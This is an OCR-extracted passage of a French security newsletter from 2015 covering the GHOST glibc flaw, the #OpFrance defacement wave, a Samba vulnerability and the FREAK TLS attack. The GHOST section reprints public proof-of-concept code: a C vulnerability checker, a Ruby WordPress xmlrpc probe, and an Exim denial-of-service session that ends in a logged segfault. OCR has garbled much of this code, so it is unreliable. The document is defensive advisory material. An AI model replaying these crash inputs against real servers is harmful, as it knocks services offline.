En résumé, il doit étre de la forme : « a.b.c.d », « a.b.c », «a.b » ou «a » ot a, b, ¢, et d sont des entiers non signés.

(lisdigit (*cp) && *cp 1= )

Prérequis n°1 (nss/digits_dots.c)

f (isdigit Cname[2]2)
i

1

(cp = name;; ++cp)
f (*op = "\@')
{

int ok;

if (*--cp = '.")

if (af = AF_INET)
ok = __inet_aton (name, (struct in_addr *) host_addr);

Fichier : nss/digits_dots.c
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Différentes preuves de concept ont été publiées sur Internet.

Une preuve de concept permettant de savoir si votre systeme est vulnérable a été publiée. En effet, il suffit de compiler le
programme suivant a I'aide de la commande gcc suivante :

gcc poc_cve-2015-0235.c -0 poc_cve-2015-0235

#include

#define CANARY "in_the al_mine"

struct {

char buffer[ 13

char canary[: (CANARYY] ;
} temp = { "buffer", CANARY };

int main(void) ff
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;

size_t len = (temp.buffer) - 16* (unsigned char) - 2* (char *) - 1;
char name[ (temp.buffer)];

memset(name, , len);

name[len] = "\@';

retval = gethostbyname_r(name, &resbuf, temp.buffer, (temp.buffer), &result, &herrno);

(stramp(t canary, CANARY) 1= @) {
puts(“vulnerable");
exit( R
1
(retval == )
puts(“not vulnerable");
exit( 'H

puts(“should not happen");
exit( );

qcc poc_cve-2015-0235.¢ -0 poc_cve-2015-0235

Un message s'affichera en fonction de la vulnérabilité du systéeme.
Un deuxieme code d’exploitation permettant de déterminer si le CMS Wordpress est vulnérable a la faille Ghost a également

été publié. La page « xmlrpc.php » présente par défaut tire parti de la fonction « gethostbyname() » au travers de la fonction-
nalité de « pingback ».
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require "ne ttp
require “uri

.count !=
Usage: #{. [@]} [Target URL] [count]

matched = [@] .match(
uri = URL.parse( http:/.
ghost_host = "@"'*

Net::HTTP.start(uri.host, uri.port) do |httpl
response = http.post( #{matched[: /xmlrpc.php
if response.code = "5

puts “"Vulnerable

ruby PoC_xmlrpc.rb www.example.com 500

Enfin, un troisieme code d’exploitation a été publié sur Internet et permet de provoquer un déni de service sur les serveurs
EXIM. L'option « helo_verify_hosts » doit étre activée (ce qui n'est pas le cas par défaut).

userfdebian-7-7-64b:~$% telnet 127.0.0.1 25

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is ""]'.

220 debian-7-7-64b ESMTP Exim 4.80 ...

HELO
gooogoQOOOOOOOOOOOOOOOOOOOOOOOOOOOO0O0QOOOOO0COO0O0O000QO0O0O0O00O0000000O0O0QO0O0OO0O00O0OCO0QOOOOOOOOOOOOOOOOOO0OO
gooooooO0QOOOQOCOOOCQOOOOOOODOOOOOOOOOOOOOOODO0OOODOOOOOOO00O0O0O00O000O00O000000O00DO0O00000000000O0000000000000000
gooooo0OOOOOOOOOOOOOOOOOOOOOOO0OOO0O0OO0OOOOOOO0C0OO0O0O0O0O000O0O0O0O000C00O00O0O0QO00OOO00C00O0OOOO0O0O000D0DO0O0OOO0O0
gooogoQOOOOOOOOOOOOOOOOOOOOOOOOOOOO0O0QOOOOO0COO0O0O000QO0O0O0O00O0000000O0O0QO0O0OO0O00O0OCO0QOOOOOOOOOOOOOOOOOO0OO
gooooooO0QOOOQOCOOOCQOOOOOOODOOOOOOOOOOOOOOODO0OOODOOOOOOO00O0O0O00O000O00O000000O00DO0O00000000000O0000000000000000
gooooo0OOOOOOOOOOOOOOOOOOOOOOO0OOO0O0OO0OOOOOOO0C0OO0O0O0O0O000O0O0O0O000C00O00O0O0QO00OOO00C00O0OOOO0O0O000D0DO0O0OOO0O0
goooooQOOOOOOOOOOOOOOQOOOOOOOOOOOOOO0O0QOOOOO0COO00O0O0O0O0QO0O0O0O00O00000O00O0O0QO0O0OO0O00O0OCO0QOOOOOOOOOOOOOOOOOOOO
goooooO0QOOOOOOOCQOOOOOOODOOOOOOOOOOOOOOODO0OOOOOOOOOOO00O00O00O0O000O000000O00D0O0000000000000000000000000000
gooooo0O0OOOOOOOOOOOOOOOOOOOOOOOO0O0OO0OOOOOOO0C0OO0O0O00O000O0O0O0O000C0O0O00O0O0QO0OOOO00C0O0O0OOOO0OOO000DOO0OOOOOO0O0
goooooOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0O0QOOOOO0COO00O0O000QO0O0O0O00O00C0000000Q0O0O0O0O0O00O0O0CO0QOOOOOOO0OOOOOOOOOOOOO
goooooO0QOOOOOOOCQOOOOOOODOOOOOOOOOOOOOOODO0OOOOOOOOOOO00O00O00O0O000O000000O00D0O0000000000000000000000000000
gooooo0O0OOOOOOOOOOOOOOOOOOOOOOOO0O0OO0OOOOOOO0C0OO0O0O00O000O0O0O0O000C0O0O00O0O0QO0OOOO00C0O0O0OOOO0OOO000DOO0OOOOOO0O0
gooogoQOOOOOOOOOOOOOOQOOOOOOOOOOOOOO0OOQOOOOO0OO0O0O000O0O0O0O0O000OO00

Connection closed by foreign host.

userfdebian-7=7-64b:~% dmesg

[ 1715.842547] exim4[2562]: segfault at Tfabflflecb8 ip 00007fabef3lbd04 sp 00007£££fb427d5b0
error 6 in libe=2.13.s0[7fabef2a2000+182000)

Preuve de concept sur les serveurs EXIM (déni de service)
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Ghost CVE-2015-0235

Les recommandations XMCO

Les techniques d’exploitation de la faille ne sont pas clairement définies. En effet, elles sont spécifiques a chacun des services
exposeés sur le réseau (SSH, MySQL, etc.). De plus, le mécanisme de résolution de nom DNS étant utilisé dans un nombre tres
important de logiciels, et la Glibc étant un des composants de base constituant un systéme GNU/Linux, un nombre trés impor-
tant de serveurs pourrait étre vulnérable a des attaques distantes, sans authentification préalable.

Le serveur Exim est vulnérable a I'exploitation de cette faille. En effet, comme vu dans la partie précédente, une preuve de
concept est disponible publiquement sur Internet permettant de réaliser un déni de service sur le systeme vulnérable.

XMCO recommande ['installation de la version correctrice disponible dans les gestionnaires de paquets des distributions (De-
bian, Ubuntu, Fedora, Cent0s, etc.).
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> Introduction

Quelques jours apres les attentats tragiques perpétrés
contre Charlie Hebdo le 7 janvier 2015, la communauté
musulmane a été victime de nombreuses attaques. En ef-
fet, des lieux de culte ont été Ia cible de dégradations et
certains musulmans ont été pris a partie [1].

JE SUIS

HARL

Parallelement, Internet a également été un terrain de jeux
pour ces attaques. De nombreux hackers, revendiquant leur
appartenance au mouvement Anonymous, ont lancé I'opé-
ration #0pCharlieHebdo ayant pour but de s’attaquer aux
sites affiliés aux djihadistes radicaux [2].

Malheureusement, cette image d’une France islamophobe,
I'incompréhension, les quiproquos, ainsi que |'attaque de
sites n’ayant aucun rapport avec la cible initiale ont eu pour
conséquence de mener a une contre attaque de grande
ampleur contre de trés nombreux sites francais.

Ces opérations, au nom tres clair (« Anti France », « Anti
Charlie » ou encore « Je ne suis pas Charlie ») regroupées,
sur Twitter, sous le hashtag #OpFrance ont été perpétrées
depuis le Maroc, I'Algérie, la Tunisie, la Malaisie ou encore
le Mexique, suite a I'appel du groupe Anon Ghost [3].

‘Retour sur #OpFrance

Par Régis SENET

Thierry ERfmann

> #0pFrance en détails

L'opération #0OpFrance a engendré le piratage de 25 000
sites web francais (ainsi que quelques victimes collatérales)
en seulement quelques jours.

me News Events Archive  Archive #

Onhold Notify  Stats

Register  Login

R L 7 Domain
1 bed-bugs-solutions.com/tmp
L0 courtier-credit-automobile.fr/tmp
[0 courtier-credit-immobilier-Iil...
B credit-vacances.fr/tmp
[0 cuve-eau-de-pluie.fr/tmp
[N | cuve-eau-pluie.fr/tmp
B espace-ventes-privees-valencie...
[0 france-girouette.fr/tmp
ia freelance-photographe.com/tmp
[0 gestion-contenus-web.fr/tmp
Il ventes-privees-enfants.fr/tmp
LB trophees-des-vainqueurs.com/tmp
mm —

Date Notifier H
2015/01/18 AnonGhost
2015/01/18 AnonGhost
2015/01/18 AnonGhost
2015/01/18 AnonGhost
2015/01/18 AnonGhost
2015/01/18 AnonGhost
2015/01/18 AnonGhost
2015/01/18 AnonGhost
2015/01/18 AnonGhost
2015/01/18 AnonGhost
2015/01/18 AnonGhost
2015/01/18 AnonGhost

T TTTTTZTZTZTZ=ZZ

« Ces opérations, au nom tres clair
(« Anti France », « Anti Charlie »
ou encore « Je ne suis pas Charlie »)
regroupées, sur Twitter, sous le hashtag
#0pFrance ont été perpétrées depuis le Ma-
roc, I'Algérie, la Tunisie, la Malaisie ou encore
le Mexique suite a I'appel du groupe Anon
Ghost »
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Pour la plupart des groupes de pirates, le but de leurs at-
taques n’était pas d'obtenir des données personnelles, mais
d’occuper le terrain médiatique en multipliant les déface-
ments, et ce, quel que soit le site. En effet, la trés grande
majorité des sites piratés appartient a de petites structures
et aucun opérateur d’'importance vitale n’a été impacté [4].

Néanmoins, malgré ces chiffres impressionnants, les at-
taques sous-jacentes restent peu sophistiquées et I'en-
semble des experts s'accorde a dire que les cyberjihadistes
ne sont, a I'heure actuelle, qu’une « nébuleuse peu structu-
rée ne représentant pas une menace sérieuse » [5].

En effet, les attaques perpétrées sont des attaques de Déni
de service (DoS et DDoS) ou de défacement de sites, tirant
parti de vulnérabilités publiques, ou encore de |'obtention
d’un compte privilégié sur les applications au travers d’at-
taques de bruteforce.

Attaque par déni de service

Une attaque par déni de service (Denial of Service ou en-
core DoS) est une attaque ayant pour but de rendre indis-
ponible un site Internet (ou tout autre service) pendant une
période indéterminée.

Ce type d'attaque vise la saturation du systéme grace a
I'envoi massif de requétes submergeant ainsi le service afin
de I'empécher de répondre aux requétes légitimes.

La majeure partie des dénis de service est réalisée a I'en-
contre de sites internet permettant de rendre indisponible
la vitrine de I'entreprise, mais également contre des ser-
veurs de mails permettant ainsi de couper le contact avec
I'entreprise cible.

L'ATTAQUE PAR DENI DE SERVICE DISTRIBUE

Connexions simultanées
a un serveur (site web)

<l & Saturation du serveur — Le site ou le réseau de I'hébergeur plante.

Les performances des serveurs actuels ainsi que la générali-

52 sation des techniques de répartition de charge rendent tres
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difficile la réalisation de Déni de Service « classique ». Pour
contrer cette hausse du niveau de sécurité, les Dénis de
Service Distribués (Distributed Denial of Service ou encore
DDoS) ont fait leur apparition.

A l'inverse des Dénis de Service « classique », les Dénis
de Service Distribués basent leur attaque sur un réseau de
machines controlées par I'attaquant. Ce faisant, il est pos-
sible pour un pirate de démultiplier le nombre de requétes
et donc I'impact de I'attaque. Ajoutons a cela qu'il devient
alors tres difficile de mettre en place des contres mesures
basées sur la restriction des adresses sources.

Défacement d’un site grace a I'exploitation d’une vul-
nérabilité

Durant les quelques jours suivants les attentats, de trés
nombreux sites furent « défacés », permettant ainsi aux
groupes de pirates de faire passer leur message :

@ LloadURL |, fr/epub.
& seituRL 4
D Execute
Enable Post data  Enable Referrer

#Op France

L'exploitation massive de failles de sécurités connues, mais
également critiques a permis aux pirates d’automatiser ces
actions.

En effet, un rapide balayage des sites piratés permet de
mettre en évidence que la plupart hébergent des solutions
de gestion de contenu (CMS) telles que Drupal, Typo3 ou
encore Joomla pour nen citer que trois.

Ces applications sont largement auditées et la découverte
de vulnérabilités impacte tres rapidement des milliers de
sites, de par leur large diffusion.

La fin d’année 2014 ainsi que le début de la nouvelle an-
née ont d’ailleurs été marqués par la découverte de failles
critiques au sein des CMS Drupal [6] et Typo3 [7] (voir Ac-
tuSécu #39) permettant de contourner le processus d'au-
thentification des deux plateformes et ainsi d'accéder aux
fonctions d’administration.

Le maintien a jour des technologies accessibles sur Internet
et particulierement celles de type CMS, reste donc absolu-
ment indispensable.
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Défacement d’un site grace a I'obtention d'un compte
privilégié sur I'application

L'une des autres méthodes largement utilisées lors de la
défiguration des sites est I'obtention d’'un compte privilégié
sur I'application.

Les applications de type CMS disposent de compte d’ad-
ministration permettant d’ajouter/modifier/supprimer du
contenu, mais également d’exécuter des commandes sur
le systeme sous-jacent.

La découverte et I'utilisation d’'un mot de passe faible ou
d'un mot de passe par défaut permet a un attaquant d’ac-
céder en quelques minutes au sésame de I'administration
du site.

> INFO

Des milliers de sites WordPress piratés via une faille au
sein du plug-in RevSlider

Les chercheurs allemands du CERT-Bund ont mis en garde les
propriétaires de sites WordPress en expliquant que plus de 3000
sites web avaient été compromis. Toutes ces attaques ont été
réalisées en exploitant une vulnérabilité dans le plug-in Slider
Revolution (RevSlider). Bien que corrigée par les développeurs
en février 2014, cette faille a commencé a étre exploitée mas-
sivement en septembre 2014. Beaucoup de versions du plug-in
resteraient encore vulnérables.

L'exploitation de cette vulnérabilité permet aux attaquants
d’injecter une iFframe malveillante dans le but de rediriger la
victime vers le domaine hébergeant des kits d’exploitation
(Fiesta ou Angler Exploit Kit).

Les investigations menées sur un WordPress compromis ont pu
mettre en évidence les étapes clés de |'attaque :

- L'exploitation de la faille sur RevSlider a permis de créer un
compte administrateur supplémentaire ;

- L'attaquant a déposé sur le serveur un script PHP;
- Des fichiers d’installation de WordPress ont été modifiés ;

- Des portes dérobées ont été installées dans deux autres plug-
ins permettant une exécution de code.

Les chercheurs ont recommandé aux administrateurs des sites
affectés de supprimer et récréer tous les comptes. Les atta-
quants ont en effet pu avoir un compte administrateur et créer
des comptes illégitimes. Ils ont également recommandé de
mettre a jour le plug-in RevsSlider.

Une analyse compléte de |'attaque est disponible a cette
adresse http://blog.0x3a.com/post/114659871819/thou-
sands-of-compromised-wordpress-websites
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> Recommandations

Afin d’endiguer cette cyber guérilla dont de trop nombreux
sites francais ont été la cible, I'’ANSSI (Agence Nationale
de la Sécurité des Systemes d’Informations) a mis en ligne
deux guides pratiques permettant de se protéger sur Inter-
net [8] :

ok 1. Le premier [9] s'adresse aux internautes afin de leur
faire un bref rappel sur les bonnes conduites a adopter sur
Internet. Ainsi, on y trouve comment choisir un mot de
passe robuste (a minima 12 caractéres et composé de ma-
juscules, de minuscules ainsi que de caractéres spéciaux)
ainsi que des recommandations sur la non-réutilisabilité
des mots de passe (un compte = un mot de passe).

L’ANSSI préconise également I'ajout ainsi que la modifica-
tion de contenu sur Internet a partir d’un ordinateur unique,
connecté a un réseau de confiance. L'utilisation des réseaux
Wi-Fi ouverts ainsi que des cybercafés est donc une habitu-
de a proscrire.

Enfin, le dernier point, mais pas le moins important : I'’ANSSI
rappelle I'importance de maintenir un systeme a jour (sys-
teme d’exploitation, antivirus, bureautique, etc.). Comme
nous avons été en mesure de I'expliquer précédemment,
I'absence de correctifs de sécurité est une réelle aubaine
pour les pirates n’hésitant pas a faire de I'exploitation mas-
sive.

ok 2. Le deuxieme guide [10], quant & lui, s’adresse aux
administrateurs systeme ou de sites internet permettant de
leur donner les bonnes pratiques a mettre en place afin de
détecter et d’endiquer les attaques de défiguration ou de
déni de service.

Les administrateurs étant également des internautes, la
lecture du premier guide est également nécessaire.

> OpFrance et la justice

Plus d’'un mois apres cette opération hors norme, le Minis-
tere public tunisien a annoncé I'arrestation d’au moins six
membres présumés du groupe de pirates Falag Anonymous

[11].

Soupconnés d’avoir piraté plusieurs milliers de sites, les six
individus ont été arrétés par les forces de police locales et
I'ensemble des pages Facebook, servant de canal de com-
munications entre les membres du groupe, a été fermé.

D’autres enquétes sont toujours en cours et déboucheront
probablement sur de nouvelles condamnations.

(XmMcol
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> Conclusion

Cette opération de grande ampleur a permis de mettre en
évidence, une fois de plus, qu'internet est, désormais le
lieu privilégié de protestations ainsi que des cyber-affron-

tements.

Espérons également qu’elle a permis de sensibiliser les in-
ternautes sur I'importance des mises a jour, des mots de
passe complexes, ainsi que de la non-réutilisabilité de ces

derniers.

En effet, I'adoption de ces bonnes pratiques aurait permis
de diminuer drastiquement le nombre de sites victimes et
ainsi de minimiser I'ampleur de I'action.

g [1] http://www.lefigaro.fr/actualite-
france/2015/01/12/01016-20150112ARTFIG00395-les-
actes-anti-musulmans-se-multiplient-depuis-l-attaque-de-

charlie-hebdo.php

g [2] http://www.lefigaro.fr/actualite-
france/2015/01/12/01016-20150112ARTFIG00395-les-
actes-anti-musulmans-se-multiplient-depuis-l-attaque-de-

charlie-hebdo.php

o= 3] http://pastebin.com/515BLgxw

o= [4] http://www.01net.com/editorial/641490/des-di-
zaines-de-sites-medias-hors-ligne-victimes-dune-cyber-at-

taque/

g [5] http://www.20minutes.fr/
high-tech/1522623-20150121-cyberdjihadistes-ue-me-

nace-relativiser

o [6] https://www.drupal.org/SA-CORE-2014-005

ok [7] http://typo3.org/teams/security/security-bulletins/
typo3-core/typo3-core-sa-2015-001/

o (8] http://www.ssi.gouv.fr/actualite/prote-
ger-son-site-internet-des-cyberattaques/

o= [9] http://www.ssi.gouv.fr/uploads/2015/02/Fiche_
des_bonnes_pratiques_en_cybersecurite.pdf

o [10] http://www.ssi.gouv.fr/uploads/2015/02/
Fiche_d_information_Administrateurs.pdf

o [11] http://www.undernews.fr/hacking-hacktivisme/
fallaga-team-6-pirates-presumes-arretes-en-tunisie.html
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Samba est un serveur de fichiers implémentant le proto-
cole SMB/CIFS et offrant stabilité, sécurité et acces rapide
a des fichiers et imprimantes. Sa particularité est qu'il offre
une interopérabilité entre différents systemes d’exploita-
tion : Windows et UNIX.

Une vulnérabilité découverte

La vulnérabilité CVE-2015-0240 a été découverte au sein du
démon smbd. Elle peut étre exploitée par un client en en-
voyant une commande spécialement concue 3 un serveur
Samba sans authentification préalable. En exploitant cette
vulnérabilité, il serait ainsi possible de compromettre le sys-
teme a distance et d'exécuter des commandes arbitraires
avec les privileges administrateur (root).

« La vulnérabilité a été découverte
au sein du démon smbd...
elle peut étre exploitée par un client en en-
voyant une commande
spécialement concue a un serveur Samba
sans authentification préalable. »

Aucun code d’exploitation n’est actuellement disponible.
D’apres les différents retours, I'exploitation est théorique-
ment possible, mais reste relativement complexe a mettre
en oeuvre.

Une nouvelle faille critique au sein
de Samba (CVE-2015-0240)

Par Etienne BAUDIN

°
=]
=
3
c
o
°

La libération d’un pointeur non initialisé en cause

La vulnérabilité provient de la libération de la mémoire
d’un pointeur qui peut étre, sous certaines conditions, non
initialisé. Il s'agit du pointeur « creds » qui fait référence a
une structure de type « struct netlogon_creds_CredentialS-
tate ». Celui-ci est défini dans la fonction « netr_Server-
PasswordSet ».

NTSTATUS _netr_ServerPasswordSet(struct pipes_struct *p,
struct netr_ServerPasswordSet *r)
£
NTSTATUS status = NT_STATUS_OK;
int i;
struct netlogon_creds_CredentialState *creds;

DEBUG(5, ("_netr_ServerPasswordSet: %d\n", __LINE__));

become_root();

status = netr_creds_server_step_check{p, p->mem_ctx,
r->in.computer_name,
r-»in.credential,
r-»out.return_authenticator,
&creds);

unbecome_root();

if (INT_STATUS_IS_OK(status)) {
DEBUG(2, ("_netr_ServerPasswordSet: netlogon_creds_server_step f
“request from client ¥s machine account ¥s\n",
r->in.computer_name, creds->computer_name));

TALLOC_FREE(creds);

return status;

Par la suite, la fonction « netr_creds_server_step_check »
initialise le pointeur. Toutefois, si celle-ci échoue, elle re-
tournera a la fonction appelante et le pointeur ne sera
alors pas initialisé. Celui-ci sera cependant enfin libéré par
la fonction TALLOC_FREE() sans vérification préalable sur le
pointeur, résultant en la possible libération d'une adresse
non allouée.

(XmMcol
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CWE-824 I’accés a un pointeur non initialisé, définition
du MITRE

Le MITRE référence ce type de vulnérabilité sous le nom
CWE-824.

Si un pointeur contient une valeur indéfinie, alors cette va-
leur peut ne pas pointer vers une adresse valide de la mé-
moire. Dans certaines conditions, le programme cherchera
alors a effectuer des opérations de lecture/écriture sur des
adresses invalides, auxquelles l'accés est impossible. Il en
résultera alors un probleme mémoire engendrant un déni
de service, voir pire, la prise de controle.

D’apres les informations du Mitre, si le pointeur non initia-
lisé est utilisé dans une fonction, des fonctions arbitraires
pourraient alors étre appelées. Dés lors, si un attaquant
arrive a influencer la portion de mémoire non initialisée
référencée par le pointeur, il pourrait exécuter du code ar-
bitraire et ainsi obtenir un accés au systéeme ciblé avec les
privileges du service impacté.

Exploitation

Pour les versions 4.1 et supérieures (diffusées avec Red Hat
Enterprise 7 par exemple), cette faille ne peut étre exploi-
tée que si I'option « server schannel = yes » est activée
dans la configuration du serveur. L'impact en terme de sé-
curité est jugé important par I'éditeur.

Dans les versions précédentes (3.6 diffusées avec Red Hat
Enterprise 5 et 6 par exemple), cette vulnérabilité peut éga-
lement étre exploitée en faisant appel a la fonction «Ser-
verPasswordSet» qui fait appel a «_netr_ServerPassword-
Set()» en spécifiant un tampon NULL.

Correction de la vulnérabilité

La vulnérabilité a été corrigée a la fin du mois de février par
les développeurs du projet Samba.

= struct netlogon_creds_CredentialState screds;
+ struct netlogon_creds_CredentialState *creds = H

DEBUG(5, ("_netr_ServerPasswordSet: M, _LINE_));

Comme on peut |'observer dans le patch, le correctif consiste
a initialiser le pointeur lors de sa déclaration. De plus, dans
la fonction « netre_creds_server_check », si la valeur du
pointeur en entrée « creds_out » est différente de NULL, on
I'initialisera avec cette valeur.

XMCO recommande l'installation de la version 4.2.0rc5,

[XmMco)

Samba (CVE-2015-0240)

4.1.17, 4.0.25 ou 3.6.25 (ou ultérieures) disponibles a
I'adresse http://www.samba.org/samba/security/.

Enfin, les équipes de sécurité de Samba précisent qu'une
méthode de contournement existe pour les versions supé-
rieures ou égales a 4.0.0. Cette solution consiste a ajouter
la ligne « rpc_server:netlogon=disabled » dans la section
« global » du fichier smb.conf. Cette méthode ne peut étre
mise en place avec les versions 3.6.x et inférieures.

Références

o= [1] https://download.samba.org/pub/samba/patches/
security/samba-4.1.16-CVE-2015-0240.patch

o= [2] https://www.samba.org/samba/history/security.
html

o= [3] https://github.com/gwr/samba/blob/cd83c-
1d9582e3252b2¢964d77aebf1d241d371a6/source3/rpc_
server/netlogon/srv_netlog_nt.c

o= [4] https://www.samba.org/samba/security/CVE-2015-
0240
https://access.redhat.com/articles/ 1346913

o= 5] https://securityblog.redhat.com/2015/02/23/sam-
ba-vulnerability-cve-2015-0240/

o= [6] http://cwe.mitre.org/data/definitions/824.html

o= [7] https://www.nccgroup.com/en/blog/2015/03/
samba-_netr_serverpasswordset-expoitability-analysis/

== [8] http://blog.trendmicro.com/trendlabs-security-in-
telligence/samba-remote-code-execution-vulnerabi-
lity-cve-2015-0240/

o= [9] https://github.com/rapid7/metasploit-framework/
blob/master/modules/auxiliary/scanner/smb/smb_uni-
nit_cred.rb
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L’annonce

Début Mars, des chercheurs de Microsoft et de I'INRIA ont
dévoilé une vulnérabilité affectant les protocoles SSL et
TLS. Baptisée « FREAK attack » (Factoring RSA Export Keys),
cette vulnérabilité permet a un attaquant en position d’in-
terception des flux entre le client et le serveur (Man-In-The-
Middle) de déchiffrer les communications échangées apres
avoir cassé la clé de chiffrement.

Internet a retenu son souffle et les internautes ont vite pu-
bliés des tweets inquiétants sur la criticité de cette faille...
Tremblez messieurs les RSSI...

< Rehp,
[ ©rg Te
Rg FREAK; qreChnology o,

they
PSqmpgR. "day, 5
R-wzz Nother Serioyg sst ~0n15

# .
Choice Technoiuy.- Security hole wp.me, 1j

i bility.-
FREAK=serious #vulnera ) 7
:m-c!\ available here gfi.com/b!og/freakmg-..A wn

18/03/2015
@AsTech_infosec

nsulting .
ﬁ gg{eftl::wzoaﬂect all of https, not just browsersl. l:aveéc;: r:iig;\i gmy/
i |eartext wifi lately? ars .
panking on your phone over €

security/2015/....

Mais qu’en est-il vraiment ?

L’origine de la vulnérabilité

Référencée CVE-2015-0204, cette faille provient de la po-
litique américaine vis-a-vis du chiffrement utilisé dans les
années 90. A I'époque, les entreprises étrangeres utilisant
la cryptographie en dehors du sol américain, se devaient
d'affaiblir volontairement leurs clés de chiffrement. Les clés
RSA ne devaient pas dépasser 512 bits ce qui permettait a
I'armée américaine ou la NSA de les déchiffrer.

FREAK, le nouveau heartbleed ?
(CVE-2015-0204)

Par Adrien GUINAULT

Cette interdiction a ensuite été levée, mais des implé-
mentations respectant cette regle ont subsisté au sein de
certains produits. Les chercheurs ont ainsi découvert qu'il
était possible de revenir a ce niveau de chiffrement, consi-
déré comme faible aujourd’hui, puisqu'il ne suffit que de
quelques heures de nos jours pour casser une telle clé de
chiffrement.

Qui est vulnérable ?
FREAK affecte les clients et les serveurs.

(6té clients, les produits utilisant une version d’OpensSSL an-
térieure a la version OpenSSL 1.0.1k et le navigateur Safari
étaient vulnérables a cette faille (ce qui n’était pas le cas
pour Chrome, Firefox et Internet Explorer...).

(o6té serveur, les serveurs web supportant les suites de chif-
frement RSA EXPORT suivantes étaient également vulné-
rables :

* SSL_RSA_EXPORT_WITH_RC4_40_MD5

“ SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5

“ SSL_RSA_EXPORT_WITH_DES40_CBC_SHA
“SSL_DH_RSA_EXPORT_WITH_DES40_CBC_SHA

“ SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
*TLS_RSA_EXPORT_WITH_RC4_40_MD5
“TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5

* TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
*TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA

* TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
*TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA

* TLS_RSA_EXPORT1024_WITH_RC4_56_SHA

Ces suites de chiffrement ne respectent par les standards
de sécurité actuels. De plus, la clé de chiffrement utilisée
avec RSA devrait toujours étre d’au moins 2048 bits (et 256
bits pour AES). Vous pourrez retrouver les recommandations

(XmMcol
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des meilleures pratiques concernant I'utilisation de SSL/TLS
sur le site de Mozilla : https://wiki.mozilla.org/Security/Ser-
ver_Side TLS#Recommended_configurations

Des milliers de sites tel qu’americanexpress.com, groupon.
com et ironiquement nsa.gov étaient vulnérables au mo-
ment de la divulgation de cette vulnérabilité.

Suis-je vulnérable ?

L’équipe a I'origine de la découverte a mis en place un site
web permettant de tester la configuration des clients SSL/
TLS https://freakattack.com.

€ 5 C fi @ ntipsi/freakattack.com

Tracking the FREAK Attack

Good News! Your browser appears to be safe from the FREAK attack.

On Tuesday, March 3, 2015, h
lients

new SSL/TLS the FREAK attack. It all ttacker tointercept H
ption, which the attacker can break to steal or manipulate sensitive data. This site is

The FREAK attack was ed by Karthikeyan Bhargavan at INRIA in Paris and the miTLS team. Further disclosure was coordinated by M
maintained by compute ts at the University of Michigan, including Zakir Durumeric, David Adrian, Ariana Mirian, Michael Bailey, and
contacted at freakattack@umich.edu.

For addi ils about the attack and its implicati

this post by Matt Green, this site by the discoverers, this Washington Post arti

Who is vulnerable?

The FREAK attack is possi nnects ptible web server—a server that accepts “export-grade” encrypti
Servers

Servers that accept RSA_EXPORT cipher suites put their users at risk from the FREAK attack. Using Internet-wide scanning, we have been pe
servers at public i y i encryption. More than a third of all servers with browser-trust

Currently Vulnerable  Change Since Mar. 3

HTTPS servers at Alexa Top 1 Million domain names 85% down from 9.6%
HTTPS servers with browser-trusted certificates 65% down from 36.7%
AlHTTPS servers 11.8% down from 26.3%

Ils ont également publié une liste de sites web connus uti-
lisant des suites de chiffrement vulnérables. C'est sirement
I'une des raisons pour lesquelles une vulnérabilité corrigée
il y a plus d’'un mois a fait autant de bruit.

>fn https://freakattack.com/clienttest.html

FREAK Attack: Client Check

'Good News! Your browser appears to be safe from the FREAK attack.

Chrome for Windows and all modern versions of Firefox are known to be safe. However, even if your brow
products and adware programs, can expose you to the attack by intercepting TLS connections from the bre
vulnerable, this is a likely cause.

If you're curious, your client currently offers the following cipher suites:

Cipher Suite
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_128 GCM_SHA256
TLS_DHE_RSA_WITH_AES_128 GCM_SHA256
TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
TLS_ECDHE_RSA WITH_CHACHA20_POLY1305_SHA256
TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256
TLS_ECDHE_ECDSA WITH_AES 256 CBC_SHA
TLS_ECDHE_RSA WITH_AES 256 CBC_SHA
TLS_DHE_RSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_ECDSA WITH_AES_128 CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_128 CBC_SHA
TLS_ECDHE_ECDSA WITH_RC4_128 SHA
TLS_ECDHE_RSA_WITH_RC4_128 SHA

TLS_RSA WITH_AES_128 GCM _SHA256
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_WITH_AES_128 CBC_SHA
TLS_RSA_WITH_RC4_128_SHA

TLS_RSA_ WITH_RC4_128_MDS5

TLS_RSA_ WITH_3DES_EDE_CBC_SHA
TLS_RENEGO_PROTECTION_REQUEST

[XmMco)

Que faire ?

Coté serveur web, il suffit de désactiver les suites de chiffre-
ment vulnérables. (6té client, des correctifs ont été publiés
pour tous les navigateurs et les versions d’OpenSSL.

Bon et alors est-ce grave, docteur ?

Une fois de plus, en pratique, la réponse est non. Tout
comme BEAST et CRIME, FREAK reste une attaque théorique
nécessitant des conditions particulieres d’exploitation. En
effet, une attaque « Man In The Middle » est requise afin
d’intercepter les flux SSL puis de les déchiffrer... a condition
d’avoir le matériel pour...
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Le whitepaper du mois

par Charles DAGOUAT

> PCl compliance report par Verizon

Verizon a publié récemment un document qui dresse un verizon
constat sur les certifications PCI DSS de leurs clients et sur

leur maintien dans le temps.
Verizon 2015

Au travers de statistiques, de chiffres et d’exemples, Veri- PCI COMPLIANCE REPORT

70N dresse un panorama des prathues ren(ontrées et com- Insight for helping businesses manage risk through payment security.
mente les évolutions notables vis-a-vis du standard 3.0.

Lecture recommandée a tous les RSSI et consultants QSA
concernés par le PCI DSS :

http://www.verizonenterprise.com/pcireport/2015/

(XmMcol
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revue du web

Cette rubrique permettra de faire un tour > Sélection d’articles divers
d’horizon des articles sécurité les plus intéres-
sants !

> Sélection d’articles techniques

Stéphane AV > Twitter

Sélection de comptes Twitter

Ce document est la propri@€ du cabinet XMCO. Toute rep
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> Sélection d’articles divers

Cheatsheet sur les events Windows

http://sniperforensicstoolkit.squarespace.com/sto-
